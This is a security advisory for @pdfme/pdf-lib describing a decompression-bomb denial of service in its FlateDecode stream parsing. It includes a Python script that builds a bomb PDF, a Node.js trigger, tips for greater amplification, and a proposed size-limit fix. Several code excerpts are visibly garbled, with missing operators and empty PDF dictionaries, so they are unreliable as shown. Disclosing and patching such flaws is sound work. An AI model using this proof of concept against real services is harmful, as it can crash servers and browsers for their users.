GHSA-vrqm-gvq7-rrwh PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS

• npm @pdfme/pdf-lib: < 5.5.10 → fixed in 5.5.10

Summary The `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts. Details The vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression). Unbounded buffer growth in `ensureBuffer()` — `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`: ```typescript protected ensureBuffer(requested: number) { const buffer = this.buffer; if (requested = limit) { buffer = this.ensureBuffer(pos + 1); limit = buffer.length; } ``` And again at line 297-300: ```typescript if (pos + len >= limit) { buffer = this.ensureBuffer(pos + len); limit = buffer.length; } ``` Entry point via `basePdf` — `packages/generator/src/helper.ts:42-43`: ```typescript const willLoadPdf = await getB64BasePdf(basePdf); const embedPdf = await PDFDocument.load(willLoadPdf); ``` The `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` → `DecodeStream` with no size limits. The same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`. PoC Step 1: Create a decompression bomb PDF ```python !/usr/bin/env python3 """Generate a PDF decompression bomb for PoC.""" import zlib import struct Create highly compressible data: 100MB of null bytes compresses to ~100KB (~1000:1 ratio) uncompressed = b'\x00' * (100 * 1024 * 1024) # 100 MB compressed = zlib.compress(uncompressed, 9) Minimal PDF structure with FlateDecode stream pdf = b"""%PDF-1.4 1 0 obj > endobj 2 0 obj > endobj 3 0 obj > endobj 4 0 obj > stream """ + compressed + b""" endstream endobj xref 0 5 """ Write proper xref (simplified for PoC) with open("bomb.pdf", "wb") as f: f.write(pdf) f.write(b"trailer >\nstartxref\n0\n%%EOF\n") print(f"Compressed size: {len(compressed)} bytes") print(f"Decompressed size: {len(uncompressed)} bytes") print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1") ``` Step 2: Trigger via @pdfme/generator ```javascript const { generate } = require('@pdfme/generator'); const fs = require('fs'); const bombPdf = fs.readFileSync('bomb.pdf'); // This will cause unbounded memory allocation during PDF parsing generate({ template: { basePdf: bombPdf, // Attacker-controlled input schemas: [[]], }, inputs: [{}], plugins: {}, }).catch(err => console.error('OOM or crash:', err.message)); ``` Step 3: Observe memory exhaustion ```bash Monitor memory usage — the Node.js process will consume all available memory and either crash with a heap allocation failure or be OOM-killed node --max-old-space-size=512 trigger.js Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory" ``` For higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload. Impact • Denial of Service: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab. • Server-side impact: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable. • Client-side impact: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process. • No authentication bypass needed: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter — no elevated privileges are needed. Recommended Fix Add a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`: ```typescript const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB class DecodeStream implements StreamType { // ... existing fields ... protected ensureBuffer(requested: number) { const buffer = this.buffer; if (requested MAX_DECODED_SIZE) { throw new Error( `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` + `This may indicate a decompression bomb.` ); } let size = this.minBufferLength; while (size MAX_DECODED_SIZE) { size = MAX_DECODED_SIZE; } const buffer2 = new Uint8Array(size); buffer2.set(buffer); return (this.buffer = buffer2); } } ``` Optionally, expose the limit via `PDFDocument.load()` options so consumers can tune it: ```typescript // In LoadOptions interface: interface LoadOptions { // ... existing options ... maxDecodedStreamSize?: number; // Default: 100 MB } ```